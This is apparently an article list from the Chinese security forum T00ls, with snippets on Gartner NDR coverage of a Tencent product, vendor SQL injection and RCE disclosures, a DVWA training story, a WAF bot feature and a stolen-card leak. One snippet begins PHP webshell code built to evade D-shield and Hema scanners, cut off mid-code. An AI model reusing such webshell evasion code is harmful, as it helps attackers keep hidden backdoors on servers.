文章列表
腾讯(T-Sec NTA)被列入Gartner最新发布的《新兴趋势：网络检测和响应的最佳用例》报告
日前，全球权威信息技术研究和顾问公司Gartner发布了题为《Emerging Trends: Top Use Cases for Network Detection and Response》（新兴趋势：网络检测和响应的最佳用例）的报告，腾讯安全高级威胁检测产品T-Sec NTA（御界）作为技术案例被列入其中。另一份提及腾讯安全高级威胁检测产品T-Sec NTA（御
T00ls联合《Java代码审计》作者开展发表Java相关文章赠书活动
(https://item.jd.com/13350018.html)**Java程序猿的代码安全开发参考指南；****渗透攻城狮的Java代码安全审计宝典；**## 本书简介：针对应用广泛的Java语言进行代码审计的介绍。对初学者较为“友好”，可帮助安全人员或研发人员补充实用的预备知识。对案例的讲解较为详细，方便读者同步进行实际操作，
七夕的T00ls之爱
估计所有人都没想到，安全领域最快的众筹在T00ls实现了，不到2小时募集了超过20000元的资金。估计这是中国网络安全圈的记录，世界范围内也足以称奇！不意外的是，作为十多年的老安全平台，在这个七夕之夜，大家对T00ls是真爱！！！##一、T00ls为什么要买com域名T00ls注册之初就用的net域名，后面应该有
品格科技(pingge360.com) 某产品存在sql注入
品格科技(pingge360.com) 某产品存在sql注入
碧海威科技(bithighway.com) 多个产品存在RCE漏洞
碧海威科技(bithighway.com) 多个产品存在RCE漏洞
ttyd存在远程命令执行
ttyd存在远程命令执行
dvwa鉴权问题导致漏洞环境失陷
主题：dvwa鉴权问题导致漏洞环境失陷背景:某个上午，阴沉沉的天，乌云没有一丝空隙是白的，整个天空就一片乌青色。我拿着刚做好的“区域技术能力提升计划表“走向了老大，正式开始了带领小伙伴玩dvwa的第一阶段课程学习。（记着上次碰dvwa，还是给学员搭网页篡改应急培训环境的时候）。原因：简单明了
php免杀（过D盾、河马）绕assert eval post
php 7.0以上不可使用蚁剑连接 base64编码器<?php #php 7.0以下可用#密码 _POST 蚁剑 base64编码class Foo{ function Variable($c) { $name = 'Bar'; $b=$this->$name(); echo $b; echo "</br>"; echo $c; $b($c); } function Bar() {
恶意BOT大量占用服务器资源？腾讯云WAF上线BOT行为管理功能
BOT是Robot（机器人）的简称，一般指无形的虚拟机器人、软件机器人，也可以看作是自动完成某项任务的智能软件，BOT流量，即自动化程序流量。据今年6月发布的《2021 Bots自动化威胁报告》显示，2020年，Bots访问占比为57.62%。由此可以看出，在网络中BOT流量的比例已经超过“人的请求流量”。BOT流量既
100万张被盗信用卡在暗网曝光
据外媒softpedia报道，根据Threat Post的说法，一群网络罪犯建立了一个专门在线销售支付卡数据的网站--AllWorld.Cards。威胁行为者泄露了100万张被盗信用卡（收集于2018年至2019年期间）以帮助宣传他们的犯罪活动。来自Cyble的网络安全研究人员在对暗网市场和网络犯罪活动进行定期检查时发现了这一漏洞
